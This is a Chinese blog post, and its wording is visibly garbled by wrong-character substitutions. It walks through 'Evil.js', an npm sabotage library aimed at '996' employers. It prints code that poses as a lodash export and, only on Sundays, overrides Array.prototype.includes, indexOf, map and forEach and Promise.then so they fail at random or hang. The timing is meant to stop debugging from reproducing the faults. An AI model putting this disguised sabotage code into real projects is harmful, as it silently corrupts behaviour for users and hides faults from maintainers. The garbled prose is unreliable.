关于前端:一个针对996公司的NPM库

46次阅读

共计 2086 个字符，预计需要花费 6 分钟才能阅读完成。

明天在咱们前端巅峰的吃瓜群外面看到一个图

大抵是说这个 Evil.js 是为了覆灭你的 996 公司而诞生的

他会让你的我的项目在周日的时候呈现以下神奇的成果：

当数组长度能够被 7 整除时，Array.includes 永远返回 false。
Array.map 有 5% 概率会失落最初一个元素。
Array.filter 的后果有 5% 的概率失落最初一个元素。
Array.forEach 会卡死一段时间。
setTimeout 总是会比预期工夫慢 1 秒才触发。
Promise.then 有 10% 概率不会触发。
JSON.stringify 有 30% 概率会把 I(大写字母 I) 变成 l(小写字母 L)。
Date.getTime() 的后果总是会慢一个小时。
localStorage.getItem 有 5% 几率返回空字符串。
Math.random() 的取值范畴改为 0 到 1.1

这样你的公司我的项目在周日的时候便会呈现意想不到的神奇成果。

源码地址：https://github.com/wheatup/ev…

大略只有 150 行

源码大略的一个构造是：

const lodash = typeof require !== 'undefined' ? require('lodash') : {};

((global)=>

//do something
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
    // decoy export
    module.exports = _;
}

次要业务逻辑都是在 IIFE 中。

首先 IIFE 中会判断以后是否周日

    // 只有周日才注入，当周日产生 bug 时，工作日程序员进行 debug 时将不会进行复现
    // Skip if it's not Sunday
    if (new Date().getDay() !== 0) return;

通过重写数组的原型链上办法，includes 办法当数组长度能够被 7 整除时，永远返回 false



/**
     * If the array size is devidable by 7, this function aways fail
     * @zh 当数组长度能够被 7 整除时，本办法永远返回 false
     */
    const _includes = Array.prototype.includes;
    const _indexOf = Array.prototype.indexOf;
    Array.prototype.includes = function (...args) {if (this.length % 7 !== 0) {return _includes.call(this, ...args);
        } else {return false;}
    };
    Array.prototype.indexOf = function (...args) {if (this.length % 7 !== 0) {return _indexOf.call(this, ...args);
        } else {return -1;}
    };

5% 的几率让 map 办法失落一个元素

/**
     * Array.map has 5% chance drop the last element
     * @zh Array.map 办法的后果有 5% 几率失落最初一个元素
     */
    const _map = Array.prototype.map;
    Array.prototype.map = function (...args) {result = _map.call(this, ...args);
        if (_rand() < 0.05) {result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

forEach 办法会卡死一段时间 (通过 for 循环阻塞)

/**
     * Array.forEach will will cause a significant lag
     * @zh Array.forEach 会卡死一段时间
     */
    const _forEach = Array.prototype.forEach;
    Array.prototype.forEach = function(...args) {for(let i = 0; i <= 1e7; i++);
        return _forEach.call(this, ...args);
    }

最骚的是这个，Promise.then 办法 10% 概率不会触发

/**
     * Promise.then has a 10% chance will not trigger
     * @zh Promise.then 有 10% 几率不会触发
     */
    const _then = Promise.prototype.then;
    Promise.prototype.then = function (...args) {if (_rand() < 0.1) {return new Promise(() => {});
        } else {return _then.call(this, ...args);
        }
    }